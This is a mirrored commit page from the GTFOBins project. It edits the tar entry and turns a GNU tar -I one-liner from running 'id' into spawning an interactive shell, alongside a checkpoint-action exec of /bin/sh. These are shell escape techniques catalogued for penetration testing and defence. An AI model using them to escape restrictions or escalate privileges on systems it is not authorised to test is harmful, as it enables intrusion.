mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Promote tar command to interactive shell
This commit is contained in:
parent
fdda727eb1
commit
a7818d5f16
@ -2,9 +2,8 @@
|
||||
functions:
|
||||
shell:
|
||||
- code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
|
||||
command:
|
||||
- description: This only works for GNU tar.
|
||||
code: tar xf /dev/null -I '/bin/sh -c "id 1>&2"'
|
||||
code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
|
||||
file-write:
|
||||
- description: This only works for GNU tar.
|
||||
code: |
|
||||
|
Loading…
Reference in New Issue
Block a user